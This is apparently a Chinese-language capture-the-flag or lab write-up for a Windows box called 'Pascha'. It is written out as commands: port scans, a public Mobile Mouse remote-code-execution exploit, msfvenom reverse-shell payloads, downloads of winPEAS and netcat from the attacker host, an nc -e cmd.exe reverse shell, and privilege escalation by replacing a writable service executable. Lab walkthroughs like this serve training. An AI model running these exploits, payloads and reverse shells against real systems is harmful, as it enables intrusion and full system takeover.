Challenge 6 - Pascha

 Challenge 6 - Pascha

└─$ rustscan -a 192.168.230.155 --scripts none --ulimit 5000 | tee rustscan

192.168.230.155 -> [80,9099,9999,35913]




└─$ sudo nmap -sCV -p 80,9099,9999,35913 192.168.230.155 | tee nmap                                             





└─$ whatweb http://192.168.230.155 | tee whatweb

看來就是個一般的 IIS 網站



開啟來看看,預設 IIS 網頁看來沒搞頭




└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.230.155 -t 150 -x txt,pdf,aspx,git | tee gibuster

gobuster 結果一樣沒搞頭,暫時先放棄 80 Port





9099 Port 開啟來看看如下,看起來一樣沒搞頭




35913 掃描如下圖,雖然是 unknow 但寫了一段 Server : Mobile Mouse

且在描述中有提到會有 9099 Port,一切看來都符合現有靶機




Google 一下 [ 35913 Mobile Mouse ] 第一名就是 Exploit DB 又是 RCE,看來就是它了




網址 https://www.exploit-db.com/exploits/51010 下載後是個 python code




跑一下看看,看來會去網站 8080 Port 抓 command_shell

將 kali 的 HTTP  Server 跑在 8080 Port 上,└─$ python3 -m http.server 8080

然後用 msfvenom 先做個 payload 吧,對方是個 Windows 機器所以包 Windows Payload
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.215 LPORT=4444 -f exe -o 155-shell.exe



改一下 python code 執行後會來抓 payload 但是沒有 reverse shell 彈回來

不太知道問題在哪裡,後來改用這一個

https://github.com/KryoCeph/Mobile-Mouse-3.6.0.4-Exploit

將 1-MMUpload.py、2-MMExecute.py 都抓回來分兩段執行

第一段 1-MMUpload.py 是上傳 payload,第二段 2-MMExecute.py 是執行 payload

└─$ python3 1-MMUpload.py --target 192.168.230.155  --file shell.exe --lhost 192.168.45.215 

└─$ python3 2-MMExecute.py --target 192.168.230.155 --file shell.exe    



一開始一樣沒有任何作用,後來將 LAB 重開後再跑一次 Shell 就進來了

懷疑是 shell.exe 的問題,reverse shell 進來後就可以拿到第一階段的答案了




Windows 標準作業勘史上傳後續提權工具

iwr -uri http://192.168.45.215:8080/winPEASx64.exe -Outfile winPEASx64.exe

iwr -uri http://192.168.45.215:8080/nc64.exe -Outfile nc.exe

然後多搭建一條 session 回來

wmic process call create "C:\users\Tim\Desktop\nc.exe 192.168.45.215 5555 -e C:\windows\system32\cmd.exe"




執行 winPEASx64.exe 看看有無甚麼收穫吧




在這一段發現有個服務 "C:\Program Files\MilleGPG5\GPGService.exe" - Auto - Running

現有使用者 Tim 有修改的權限




利用 icacls 再查看一次 icacls "C:\Program Files\MilleGPG5\GPGService.exe"

權限是 (M) 確認可以 Modify



也可以這樣查看 Get-Acl -Path "C:\Program Files\MilleGPG5\GPGService.exe" | Format-list

列出詳細的 BUILTIN\Users Allow Modify, Synchronize 說明




那就再做一個 payload 準備來替代它,讓它執行後回彈 reverse shell

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.215 LPORT=6666 -f exe -o reverseshell.exe



做完後上傳到 155 靶機 iwr -uri http://192.168.45.215:8080/reverseshell.exe -Outfile rshell.exe




接著將原有的服務執行檔案 COPY 到使用者桌面,再將 payload 取代成服務執行檔

move "C:\Program Files\MilleGPG5\GPGService.exe" GPGService-old.exe

move .\rshell.exe "C:\Program Files\MilleGPG5\GPGService.exe"




接著停止服務再重新啟動服務 net stop GPGOrchestrator、net start GPGOrchestrator




nc listen 6666 進來了,whoami 看一下是 NT Authority\System 那就拿答案吧



補充說明 :

另外一個好用的 MobileMouse Code : https://github.com/tx1ee/mobilemouse-exploit

留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)